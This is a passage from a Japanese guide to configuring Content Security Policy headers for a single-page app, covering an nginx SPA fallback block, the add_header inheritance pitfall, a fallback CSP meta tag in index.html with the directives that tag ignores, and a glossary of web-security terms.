# ── SPA フォールバック ───────────────────────────────
# Client-side router 用、存在しないパスは index.html に流す
location / {
try_files $uri $uri/ /index.html;
}
}
適用方法
nginx -s reload で反映。設定ファイルを編集したら nginx -t で構文チェックを忘れずに。
always の意味
add_header ... always を指定すると、2xx 以外 (4xx / 5xx エラーレスポンス) にもヘッダーが付与されます。CSP はエラーページにも必要 なのでほぼ必須です。
SPA フォールバック
React Router など client-side ルーティングを使う場合、try_files で存在しないパスを index.html に流します。この構成でも CSP ヘッダーは全てのレスポンスに付与されます。
落とし穴
add_headerの重複: nginx は上位ブロック (http, server) でadd_headerが定義されていると、下位の location ブロックでadd_headerを追加すると上位のものが全て無効化される。すべて同じレベルにまとめるか、明示的に継承する必要あり- reload を忘れる: 設定変更後
nginx -s reloadしないと反映されない
index.html の meta タグ (フォールバック)
アプローチ: HTTP ヘッダーを制御できない環境向けのフォールバック。制約が多い
<!doctype html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!--
CSP を meta タグで指定するフォールバック。
静的ホスティングで HTTP ヘッダーを制御できない環境向け。
⚠️ 制約:
- frame-ancestors 効かない (HTTP ヘッダー必須)
- sandbox 効かない
- report-uri / report-to 効かない
可能な限り HTTP ヘッダーでの設定を推奨します。
-->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'"
/>
<title>My SPA</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
いつ使うか
HTTP ヘッダーを制御できない静的ホスティング (古典的な共用サーバー、GitHub Pages の特定ケース等) での最終手段 です。可能な限り HTTP ヘッダー方式を使ってください。
⚠️ 効かない directive
meta タグ方式では以下は無視されます:
frame-ancestors— クリックジャッキング対策の要。HTTP ヘッダー必須sandbox— iframe サンドボックスreport-uri/report-to— CSP 違反レポート送信
これらが必要なら meta タグでは不十分です。
動作タイミング
ブラウザは HTML をパースして <meta http-equiv> を検出した時点で CSP を適用します。それより前にパースされたリソース (例: <head> 冒頭の <script>) には効きません。meta タグは <head> の早い位置 に置くこと。
CSP ポリシー学習用プレイグラウンド
このプレイグラウンドは実装ガイドではなく、ポリシーを書き換えて体感するための実験環境です。
Vite dev server の server.headers 機能を使って、ブラウザ上で実際に CSP ヘッダーを変更しながら何がブロックされるかを試せます。ここで書いた vite.config.ts は dev server のみに効く設定で、本番環境には反映されません。本番用の設定は上の「実装パターン」セクションを参照してください。
用語集
- CSP
- CSP (Content Security Policy) は特定の種類のウェブサイト関連攻撃 ( XSS やデータインジェクション) を検出して軽減するのに使われます。
- Cross-site scripting (XSS)
- クロスサイトスクリプティング (XSS) とは、悪意あるクライアントサイドのコードをウェブサイトに挿入するセキュリティ攻撃です。挿入されたコードは被害者のブラウザー上で実行され、アクセス制限の回避やユーザーへのなりすましなどにつながります。Open Web Application Security Project の調べによると、XSS は 2017 年において 7 番目に多いウェブアプリの脆弱性>)でした。
- Same-origin policy
- 同一オリジンポリシーは、重要なセキュリティの仕組みであり、あるoriginから読み込まれた文書やスクリプトが、どのように他のオリジンからのリソースと対話することができるかを制限するものです。
- CORS
- CORS (オリジン間リソース共有、 Cross-Origin Resource Sharing) は、 Headerの転送で構成されるシステムであり、ブラウザーがオリジンをまたいだリクエストのレスポンスに、フロントエンドの JavaScript コードがアクセスすることをブロックするかどうかを決めるものです。
- HTTPS
- HTTPS (HyperText Transfer Protocol Secure) は HTTP プロトコルを暗号化したバージョンです。 HTTPS は通常、 SSL または TLS を用いてクライアントとサーバー間のすべての通信を暗号化します。この安全な接続により、クライアントは機密データをサーバーと安全に交換できます (例えば、銀行取引やオンラインショッピングなどで)。
- Http header
- HTTP ヘッダー は、 HTTP リクエストやレスポンスのフィールドで、そのリクエストやレスポンスに関する追加のコンテキストやメタデータを渡します。例えば、リクエストメッセージはヘッダーを使用して推奨するメディア形式を示すことができ、レスポンスはヘッダーを使用して返す本体のメディア形式を示すことができます。ヘッダーは大文字小文字を区別せず、行の始めには ':' が続き、その直後にヘッダー依存の値が続きます。値は次の CRLF かメッセージの終わりで完了します。
参考リンク
Powered by web-features